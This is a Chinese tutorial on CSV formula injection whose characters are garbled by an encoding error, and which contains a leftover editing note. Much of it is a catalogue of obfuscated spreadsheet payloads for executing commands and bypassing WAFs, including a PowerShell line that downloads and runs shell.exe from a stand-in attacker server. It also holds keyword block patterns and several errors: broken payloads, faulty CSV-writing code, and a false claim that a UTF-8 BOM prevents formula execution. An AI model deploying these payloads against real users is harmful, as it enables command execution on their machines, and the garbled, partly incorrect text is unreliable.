一、什么是 CSV 注入漏洞?
想象一下這個(gè)場景:小王開發(fā)了一個(gè)電商網(wǎng)站,用戶可以導(dǎo)出自己的訂單記錄為 CSV 文件??雌饋砗苷?duì)吧?但如果有人在訂單信息中故意植入了特殊公式,當(dāng)你用 Excel 打開這個(gè) CSV 文件時(shí),電腦上的計(jì)算器突然彈出來了...這就是 CSV 注入漏洞帶來的"魔法"。
CSV 注入漏洞(也叫公式注入)是一種特殊的安全漏洞,它主要利用了電子表格軟件(如 Excel、LibreOffice)會(huì)自動(dòng)執(zhí)行 CSV 文件中的公式這一特性。當(dāng)包含惡意公式的數(shù)據(jù)被寫入 CSV 文件,并被用戶使用電子表格軟件打開時(shí),這些公式就會(huì)被執(zhí)行,可能導(dǎo)致意想不到的后果。
二、漏洞形成原理
2.1 為什么會(huì)有這個(gè)漏洞?
要理解 CSV 注入漏洞,我們得先搞清楚幾個(gè)關(guān)鍵點(diǎn):
-
CSV 文件的本質(zhì)
- CSV 本質(zhì)上是純文本文件
- 它使用逗號(hào)(或其他分隔符)來分隔數(shù)據(jù)
- 理論上不應(yīng)該包含任何可執(zhí)行的代碼
-
問題的根源
- Excel 等軟件為了提供更強(qiáng)大的功能,會(huì)自動(dòng)將以特定字符(如=、+、-、@)開頭的內(nèi)容識(shí)別為公式
- 這種自動(dòng)識(shí)別機(jī)制在處理不受信任的數(shù)據(jù)時(shí)就成了安全隱患
2.2 攻擊是如何實(shí)現(xiàn)的?
在 CSV 文件中,任何以下符號(hào)開頭的內(nèi)容都可能被解析為公式:
=
+
-
@
讓我們看一個(gè)具體的例子:
假設(shè)有一個(gè)導(dǎo)出用戶信息的 CSV 文件,原本內(nèi)容應(yīng)該是:
姓名,電話,地址
張三,12345678901,北京市
但攻擊者可能會(huì)構(gòu)造這樣的數(shù)據(jù):
姓名,電話,地址
=cmd|'/C calc'!A0,12345678901,北京市
當(dāng)用戶用 Excel 打開這個(gè)文件時(shí),第二行的第一個(gè)單元格會(huì)被解釋為一個(gè)公式,從而可能觸發(fā)系統(tǒng)命令執(zhí)行。
三、漏洞的危害有多大?
CSV 注入漏洞的危害可能遠(yuǎn)超很多人的想象:
-
命令執(zhí)行
- 可以運(yùn)行計(jì)算器(這是最基礎(chǔ)的驗(yàn)證)
- 可以執(zhí)行任意系統(tǒng)命令
- 可以啟動(dòng)惡意程序
-
數(shù)據(jù)竊取
- 可以通過 DDE(動(dòng)態(tài)數(shù)據(jù)交換)機(jī)制讀取系統(tǒng)信息
- 可以將數(shù)據(jù)傳輸?shù)竭h(yuǎn)程服務(wù)器
-
惡意程序下載
- 可以通過 PowerShell 下載和執(zhí)行遠(yuǎn)程文件:
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0 -
在 Google Sheets 中的特殊風(fēng)險(xiǎn)
Google Sheets 還支持一些特殊的公式,比如:- IMPORTXML:可以從遠(yuǎn)程 URL 獲取數(shù)據(jù)
- IMPORTDATA:可以導(dǎo)入遠(yuǎn)程數(shù)據(jù)
- IMPORTFEED:可以導(dǎo)入 RSS 源
這些功能在被濫用時(shí)可能導(dǎo)致數(shù)據(jù)泄露。
四、如何發(fā)現(xiàn) CSV 注入漏洞?
4.1 識(shí)別風(fēng)險(xiǎn)點(diǎn)
在進(jìn)行安全測試時(shí),要重點(diǎn)關(guān)注以下幾個(gè)方面:
-
功能層面
- 導(dǎo)出 CSV 文件的功能
- 批量數(shù)據(jù)下載功能
- 報(bào)表生成功能
-
數(shù)據(jù)流向
- 用戶輸入數(shù)據(jù)是否會(huì)出現(xiàn)在導(dǎo)出文件中
- 導(dǎo)出的數(shù)據(jù)是否經(jīng)過適當(dāng)?shù)那逑春娃D(zhuǎn)義
4.2 測試方法
-
基礎(chǔ)測試
嘗試在可控的輸入點(diǎn)插入簡單的公式:=1+1 =2+5 @SUM(1+1) -
進(jìn)階測試
使用各種繞過技巧:# 命令執(zhí)行測試 =cmd|' /C calc'!A0 # 使用空格和特殊字符混淆 = C m D |'/c calc'!A0 # 使用其他程序執(zhí)行 =rundll32|'URL.dll,OpenURL calc.exe'!A -
繞過技巧測試
- 使用不同的前綴符號(hào)(=、+、-、@)
- 添加無意義的數(shù)學(xué)運(yùn)算
- 使用空字符進(jìn)行混淆
[前文保持不變,在"四、如何發(fā)現(xiàn) CSV 注入漏洞?"章節(jié)后增加新的章節(jié)]
五、CSV 注入的 WAF 繞過技巧
在實(shí)際攻防場景中,可能會(huì)遇到各種 WAF(Web Application Firewall)的攔截。這里我們深入探討一些常見的繞過技術(shù)。
5.1 字符混淆繞過
-
空白字符填充
WAF 可能會(huì)攔截標(biāo)準(zhǔn)的命令格式,但通過添加特殊的空白字符,往往能實(shí)現(xiàn)繞過:# 原始payload =cmd|'/C calc'!A0 # 使用空格混淆 = c m d | ' / C c a l c ' ! A 0 # 使用制表符混淆 =cmd | '/C calc' ! A0 -
Unicode 字符繞過
利用不同的 Unicode 字符表示相同的命令:# 使用全角字符 =cmd|'/C calc'!A0 # 使用零寬字符 =cmd|'/C calc'!A0
5.2 命令拼接技巧
-
數(shù)學(xué)運(yùn)算混淆
通過添加無害的數(shù)學(xué)運(yùn)算來混淆真實(shí)意圖:# 基礎(chǔ)數(shù)學(xué)運(yùn)算混淆 =1+2+3+cmd|'/C calc'!A0 # 復(fù)雜表達(dá)式混淆 =AAAA+BBBB-CCCC&"Hello"/12345&cmd|'/c calc'!A0 -
命令鏈接技巧
使用不同的命令連接方式:# 使用乘法連接 =cmd|'/c calc'!A*cmd|'/c calc'!A # 使用字符串連接 ="cm"&"d"|'/c calc'!A0
5.3 替代執(zhí)行方法
-
替代程序執(zhí)行
除了常見的 cmd,還可以使用其他程序來執(zhí)行命令:# 使用 rundll32 =rundll32|'URL.dll,OpenURL calc.exe'!A # 使用 mshta =mshta|'javascript:alert(1)'!A # 使用 powershell =powershell|' -nop -w hidden -c "calc"'!A -
DDE 執(zhí)行變體
# 基礎(chǔ) DDE 執(zhí)行 =DDE("cmd";"/C calc";"!A0")A0 # 混淆版本 =DDE("c"&"m"&"d";"/C c"&"alc";"!A0")A0
5.4 高級(jí)繞過技術(shù)
-
分段執(zhí)行
將命令分散到多個(gè)單元格中:A1: =INDIRECT("rc[1]",FALSE) B1: =cmd|'/C C1: calc D1: '!A0 -
編碼繞過
使用各種編碼方式隱藏真實(shí)命令:# Base64 編碼執(zhí)行 =cmd|'/C powershell -enc YwBhAGwAYwA='!A0 # Hex 編碼 =cmd|'/C powershell -c [char]::ConvertFromHexString("63616c63")'!A0 -
環(huán)境變量利用
使用系統(tǒng)環(huán)境變量構(gòu)造命令:# 使用環(huán)境變量 =cmd|'/C %SYSTEMROOT%\System32\calc.exe'!A0 # 混合環(huán)境變量 =cmd|'/C %CO%m%MSPEC%calc'!A0
5.5 針對(duì)特定 WAF 的繞過技術(shù)
-
ModSecurity 繞過
# 利用大小寫混淆 =CmD|'/c CaLc'!A0 # 使用反斜杠 =cmd|'/c c:\windows\system32\calc.exe'!A0 -
常見商業(yè) WAF 繞過
# 雙重編碼 =cmd|'/C %25%32%35calc%25%32%35'!A0 # 注釋符混淆 =cmd|'/C rem calc & calc'!A0
?? 特別提醒:本文介紹的繞過技術(shù)僅用于安全研究和授權(quán)測試,切勿用于非法用途!
六、如何防范 CSV 注入漏洞?
要防范 CSV 注入漏洞,我們需要從多個(gè)層面進(jìn)行防護(hù):
6.1 輸入驗(yàn)證和清洗
-
嚴(yán)格的輸入驗(yàn)證
def validate_csv_field(field): # 檢查是否以危險(xiǎn)字符開頭 dangerous_chars = ['=', '+', '-', '@'] if any(field.startswith(char) for char in dangerous_chars): return False return True -
數(shù)據(jù)轉(zhuǎn)義
def escape_csv_field(field): if isinstance(field, str): # 如果字段以等號(hào)開頭,添加單引號(hào) if field.startswith(('=', '+', '-', '@')): field = f"'{field}" return field
-
深度檢測
def deep_sanitize(field): # 移除所有空白字符 field = ''.join(field.split()) # 檢查Unicode變體 field = unicodedata.normalize('NFKC', field) # 檢查常見的命令模式 dangerous_patterns = [ r'(?i)cmd', r'(?i)powershell', r'(?i)rundll32', r'(?i)mshta', r'(?i)DDE\(', ] for pattern in dangerous_patterns: if re.search(pattern, field): return None return field -
上下文感知過濾
def context_aware_filter(field, context): if context == 'cell_content': # 單元格內(nèi)容特定的檢查 if any(field.lower().startswith(x) for x in ['=', '+', '-', '@']): return None elif context == 'formula': # 公式特定的檢查 if 'DDE' in field.upper(): return None return field -
啟用安全頭
def set_security_headers(response): response.headers['Content-Disposition'] = 'attachment; filename="safe.csv"' response.headers['X-Content-Type-Options'] = 'nosniff' return response
6.2 輸出保護(hù)
-
添加 BOM 標(biāo)記
在 CSV 文件開頭添加 UTF-8 BOM,可以防止 Excel 將內(nèi)容識(shí)別為公式:def write_safe_csv(filename, data): with open(filename, 'wb') as f: # 寫入 UTF-8 BOM f.write(b'\xef\xbb\xbf') # 寫入 CSV 數(shù)據(jù) writer = csv.writer(f) writer.writerows(data) -
使用替代格式
- 考慮使用 XLSX 格式而不是 CSV
- 使用 PDF 格式輸出報(bào)表
6.3 架構(gòu)層面的防護(hù)
-
數(shù)據(jù)隔離
- 將用戶輸入的數(shù)據(jù)與系統(tǒng)生成的數(shù)據(jù)分開存儲(chǔ)
- 對(duì)不同來源的數(shù)據(jù)采用不同的處理策略
-
輸出控制
- 限制單次導(dǎo)出的數(shù)據(jù)量
- 對(duì)導(dǎo)出功能進(jìn)行權(quán)限控制
-
監(jiān)控和日志
- 記錄異常的導(dǎo)出請(qǐng)求
- 監(jiān)控包含特殊字符的數(shù)據(jù)輸入
結(jié)語
CSV 注入漏洞雖然看似簡單,但其危害不容忽視。作為開發(fā)者,我們需要在便利性和安全性之間找到平衡點(diǎn)。通過合理的預(yù)防措施和正確的實(shí)現(xiàn)方式,我們可以有效地規(guī)避這類安全風(fēng)險(xiǎn)。